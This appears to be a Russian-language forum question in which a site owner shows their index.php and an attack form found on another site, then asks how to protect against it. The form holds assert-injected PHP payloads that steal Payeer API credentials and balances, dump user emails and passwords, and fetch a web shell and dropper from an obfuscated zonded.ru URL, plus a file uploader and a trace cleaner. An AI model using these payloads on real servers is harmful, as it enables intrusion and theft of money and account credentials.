Есть файл index.php
<?php
session_start();
ob_start();
if(isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])){
$host = parse_url($_SERVER['HTTP_REFERER']);
$host = $host['host'];
if ($host != $_SERVER['HTTP_HOST']) {
$time_cookie = time() + (86400 * 15);
setcookie('httpref', $host, $time_cookie, '/');
}
}
function __autoload($name)
{
require 'classes/_'.$name.'.class.php';
}
$db = new db();
new router($db);
На стороннем сайте есть код следующего вида
<form id="form1" align="center" method="POST" target="_blank">
<input value="assert" name="z" hidden />
<select name="m" size="7">
<option value="setcookie("zP", "zonded", time()+3600);die("Сookies set");" selected>Cookie login</option>
<option value="@include("/_class.config.php");@include("/_class.rfs_payeer.php");$c=new config;$p=new rfs_payeer($c->AccountNumber,$c->apiId,$c->apiKey);if($p->isAuth()){$z=$p->getBalance();$t="<h1>".$z["balance"]["RUB"]["DOSTUPNO"]." | ".$z["balance"]["USD"]["DOSTUPNO"]." | ".$z["balance"]["EUR"]["DOSTUPNO"]."</h1>";die(print($t));}else{die("<h1>#ERROR</h1>");}">1. Balance</option>
<option value="$u=chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(122).chr(111).chr(110).chr(100).chr(101).chr(100).chr(46).chr(114).chr(117).chr(47).chr(102).chr(105).chr(108).chr(101).chr(115).chr(47).chr(112).chr(46).chr(116).chr(120).chr(116);$c=file_get_contents($u);$h=fopen(p.chr(46).php,w);$t=$c;fwrite($h,$t);fclose($h);$h=chr(76).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(112).chr(46).chr(112).chr(104).chr(112);@header($h);">2. Grabber money</option>
<option value="include"/classes/_class.config.php";$hack=new config;$link=mysql_connect($hack->HostDB,$hack->UserDB,$hack->PassDB);mysql_select_db($hack->BaseDB,$link);$sql=mysql_query("SELECT `email`, `pass` FROM `db_users_a`",$link);while($result = mysql_fetch_array($sql)){echo $result["email"].":".$result["pass"]."<br>";}die();">3. Grabber DB</option>
<option value="$u=chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(122).chr(111).chr(110).chr(100).chr(101).chr(100).chr(46).chr(114).chr(117).chr(47).chr(102).chr(105).chr(108).chr(101).chr(115).chr(47).chr(122).chr(46).chr(116).chr(120).chr(116);$c=file_get_contents($u);$h=fopen(z.chr(46).php,w);$t=$c;fwrite($h,$t);fclose($h);$h=chr(76).chr(111).chr(99).chr(97).chr(116).chr(105).chr(111).chr(110).chr(58).chr(32).chr(122).chr(46).chr(112).chr(104).chr(112);@header($h);">4. Web-shell</option>
<option value="@$fp=fopen("f.php","w+");@$test=fwrite($fp,'<form enctype=multipart/form-data method=post><input name=userfile type=file><input type=submit name=go_up></form><?print($_GET[t]);if(isset($_POST[go_up])){if(is_uploaded_file($_FILES[userfile][tmp_name])){@copy($_FILES[userfile][tmp_name],$_FILES[userfile][name]);}};?>');@header("Location: f.php");">5. Uploader</option>
<option value="@unlink("b.php");@unlink("z.php");@unlink("f.php");die("good");">6. zCleaner</option>
</select>
<input required id="file" class="file1" value="index.php"/><button onclick="link(1)" type="submit">GO</button>
</form>
Как защититься от взломов?
С помощью данной фигни можно закачивать файл на сервер, а потом с сервера его вызывать и многое другое.
Он отправляется методом POST на index.php, но в index.php нет работы с post. Или всё дело в http_refferer?